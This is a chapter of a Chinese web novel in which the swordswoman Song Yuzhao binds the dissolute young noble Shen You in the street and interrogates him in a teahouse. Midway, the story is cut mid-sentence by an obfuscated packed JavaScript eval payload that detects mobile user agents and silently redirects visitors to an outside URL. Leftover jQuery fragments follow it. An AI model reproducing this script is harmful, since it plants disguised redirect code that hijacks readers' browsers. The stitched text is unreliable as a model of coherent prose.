5. 第五章

作品:《她不卸甲

    可他环顾四周,只见大街上熙熙攘攘,除了府中远远跟着他的下人,并无奇怪的人看他。


    许是自己想多了。


    他仰头看看天色,时候还早,可今日江哲不在,自己一个人实在没什么意思,不如先回去睡一觉,晚上再出来找乐子。


    思及此,沈佑啪一声收回折扇,转身调了个方向,高高束起的马尾如一顷泼墨随着他的动作轻轻摇摆。


    他冲管家招招手,握着折扇的手负在身后,大步流星就要回府,全然没注意到不远处有两对目光落在他身上,将他一举一动尽收眼底。


    茂平无声瞧了一眼环胸而立的宋玉昭,见她仍没有要出手的意思,只好静静侍立在侧,心里却已经做好了随时上前制住沈佑的准备。


    九爷在常年混迹在市井之间,见识广,胆子也大,一行人中数他知道的多,却也数他嘴硬,死打对他来说没用,他们费了好一番功夫才从他嘴里套出点东西,线索都指向了沈佑。


    茂平知道以宋玉昭的性子,今日是绝对不会放走他的。他仔细留意着宋玉昭这边的动静,却忽听大街上一阵骚乱。


    “公子好生绝情,竟连伸手拉奴家一把都不肯吗?”


    说话的是个粉衣挽髻的姑娘,整个人娇滴倒在沈佑脚下,说话时一双眼睛滴溜溜望着他,像是能将人的魂勾去。


    “罢了,想来是因为奴家出身贱籍的缘故,”她目光流转,顾盼生波,语气透出几分失望,“公子身份尊贵,怕是早就忘了那夜在揽月楼的浓情蜜意,那奴家以后不再来自讨没趣便是,可今日奴家崴了脚,公子便看在日后还要和江公子几位常去揽月楼做客的份上,帮帮奴家吧……”


    说罢向他伸出一只纤细娇嫩的手。


    沈佑叉腰站在原地,起初眉头微皱,像是根本不记得这女子是谁,听到最后才终于有了反应。


    原来是江哲那小子搞的把戏,也不提前知会他一声。


    他眼珠子一转,笑盈盈道,“原来是揽月楼的跳珠姑娘,既然崴了脚,想必回揽月楼这一路也不太方便,不如随我回府上歇一歇可好?”


    周围凑过来的百姓大多只是看个热闹,听见这话却都替跳珠捏了把汗。


    沈佑确实是个风流的,可沈仲宏却极看不惯他这花天酒地的作风,否则自己也不会丧妻后一直未曾续弦。更何况,就连沈佑从前带回家那个大了肚子的姑娘都没能入府,沈佑要是敢在这当口再把跳珠领回府,怕是连沈佑自己也会被他爹被乱棍打出来。


    他伸手作势要将人起来,果然见跳珠嘴角笑容一僵,手也往后缩了缩,悻悻开口。


    “公子既不愿,那便不勉强了,奴家……奴家自己起来便是。”


    跳珠说罢挣扎着要从地上起来,却像是支撑不住,又重重倒了回去。


    宋玉昭一直留意着周围百姓的神色,转头看见一个买花的小女孩,从袖中掏出一锭银子递过去,正想俯身对她说些什么,便有几个女子快步从面前经过,三两下把跳珠从地上拉起来。


    宋玉昭见状一愣,将口中的话又咽了回去,迎着小女孩希翼的目光,将那锭银子稳稳递进她脏兮兮的小手里。


    “姐姐想要哪朵花?”


    “不要了,去一边玩吧。”


    “谢谢姐姐!”


    小女孩蹦蹦跳跳抱着花篮跑走,宋玉昭已经将目光转回了回去。


    “你没事吧,可有伤到?”


    为首的女子带着帏帽,看穿着应当也是出身大户,口齿极伶俐。她这边关照完绿衣姑娘,那边又回头撇了一眼沈佑,面上还勉强维持着稳重,言语间却带着怒意。


    “她虽非良家女子,但也容不得沈公子在大街之上欺侮,想来沈公子是快活日子过得久了,忘了被你爹满城追着打是什么滋味。亏你爹请的媒人再三向我保证你会改,我若非亲眼所见还真就信了。今日一见,我看你就是狗改不了吃屎,没姑娘嫁你也是活该!”


    说罢又狠狠啐了一口,扭头风风火火带着身后几个侍婢离开。


    一切发生得太快,沈佑作势要扶跳珠的手还伸在原地,待反应过来那女子说了什么,留给他的就只剩一个气冲冲的背影。


    “哎……你这是……”沈佑一顿,忽然反应过来她说了什么,惊道,“什么!我爹又去给我说亲了?还是去你家?”


    可惜那背影闻言并未停留,反而走得更快了,只留下沈佑在原地扼腕咬牙。


    一开始他还觉得江哲今天多次一举,此事一出,他倒要夸江哲有几分先见之明了。


    他爹居然还没死了给他娶妻的心思,而且都把心思打到方才那悍妇身上了。他爹这哪只是想断了他的快活日子,简直是活路也不想给他留了。


    好你个老头,等着吧,他这回不折腾得整个雍州都不敢把女儿嫁进沈府,他就把名字倒过来写。


    沈佑脸皮向来厚,倒是也不觉得丢人,只是气得不轻。他抬步要领着管家先回府上再计划下一步,目光却又被一抹暗红吸引住了。


    那人身形修长,纤而不弱,身着一件黑色窄袖骑服,领口和袖子处却是深红色,行走间腿弯处露出一截红色下摆。


    黑与红在她身上融合得恰到好处,沉稳而不沉闷,明艳而不浮夸,将她淡入云烟的眉眼也染上几分烟火气。


    沈佑觉得有些眼熟,“咦?美人姐姐,咱们是不是从前见过?”


    宋玉昭在心里白他一眼。


    果真是浪到没边了,没一句骂是白挨的。


    莫名觉得一股寒意,沈佑抖抖肩膀,“咳咳,今年冬天冷得可真早。”


    以他多年被人嫌的经验来看,眼前这位看着自己的眼神并非善意。


    沈佑难得当机立断一回。


    罢了,今日出门没看黄历,先溜吧。


    他迅速打消了同美人多聊几句的心思,抓着折扇就冲宋玉昭抱了抱拳,“今日天色已晚,不如在下改日请美人姐姐喝茶可好?”


    说罢拔腿便走,谁知刚往前走了两步,就在与她擦肩之时觉得肩膀一沉,转头便对上她那双冰冷而深不见底的双眸。


    宋玉昭将手中长剑压在他肩膀上,面上不显,心中却有些惊讶。


    没想到他竟还会些拳脚,底子是不错,可跟她比么,还是差远了。


    她剑未出鞘,只隔着剑鞘重重压在他肩上,另一只手迅速朝他另一只肩膀探去。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923712|160399||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>沈佑身子灵活向下一躲险险避开,正要再往前窜去,却被腰间一股力拉了回去。


    他身边的管家想上前,却被茂平拦了下来。


    “公子跑什么?”宋玉昭皮笑肉不笑地盯着他,“不是说请我喝茶吗?我瞧着天色尚早,你我有刚好有空,择日不如撞日吧。”


    “不不不,家中还有事等着我处理呢,下次吧。”


    束在他腰间的马鞭太短,宋玉昭朝身后的茂平伸伸手,茂平立刻不知从哪摸了根绳子递到她手上。


    “姑娘,有话好说,不就是吃个茶吗,在下请你就是了。”


    宋玉昭不为所动。


    “在下与姑娘无冤无仇,姑娘这是做什么?”


    绳子一圈圈缠过手腕,沈佑嘴上仍不消停。


    “哎哎哎,太紧了太紧了……”


    沈佑眼睁睁瞧着她大庭广众之下将自己五花大绑,诸般挣扎皆是无用,还被她踹了一脚,险些摔到地上。


    这还是他长这么大以来第一次体会什么叫人为刀俎我为鱼肉,而且,他的武功一到这女子面前就成了三脚猫功夫,毫无还手之力。


    宋玉昭将手中的绳子拉紧,道,“有些事要向公子请教,公子既然推脱说没空,那便只能得罪了。”


    她嘴上这么说,心中却想着,不是没人能治你吗?本姑娘今天心情不爽,算是替天行道了。


    这边是闹市,城中最热闹的地方,宋玉昭翻身上马,手中握着绑住沈佑的绳子的另一头,就这么大摇大摆拽走在街上。


    她本想让他好好处处风头,但又想到正事,只好又将一肚子火压了下去。


    先问完正事再与他算这些也不迟。


    她从前没怎么来过雍州城,对城中布局并不熟悉,七拐八拐才绕进了一家人稍少些的茶馆。


    这个时辰,城中茶馆酒楼正上人,街坊巷陌飘荡着酒肉的香气,茶馆里的小二一眼就认出沈佑,待看清他那副模样时有些惊讶,但不多时又反应过来。


    素闻这沈家公子行事风流,他虽是第一次亲眼见到,但也不难猜出来,这定是有钱人家的公子喜爱的风流趣味罢了。


    “几位这边请。”


    小二笑着迎上去,生怕得罪了这尊财神爷,一路引着几人进了个极清净的雅间,出门时还贴心带上了门。


    “为什么让九爷在梁并二州之间截来往的书信?”


    雅间里,宋玉昭已经是第三遍问沈佑,语气也略有不耐。


    沈府管家见自家少爷仍是一副倔强不肯开口的样子,颤颤巍巍擦了擦悬在额头的冷汗,焦急道,“少爷,您就说了吧,这……”


    茂平在一旁将拳头捏地嘎嘣响。


    被绑成粽子的少年立在房间中央,就这一会的功夫,他已经不似来时那般唉声叹气,脸上又重新挂了笑,却难得安静下来,一句话都不肯答。


    “不说也没关系,”宋玉昭端起茶盏抿了一口,“无非就是去贵府叨扰一番罢了,即便你不说,这个答案我也要定了。”


    沈佑不答反问,“你到底是什么人?为什么查这些?”


    宋玉昭从腰间抽出令牌,只在他面前一晃,沈佑忽然面色一紧。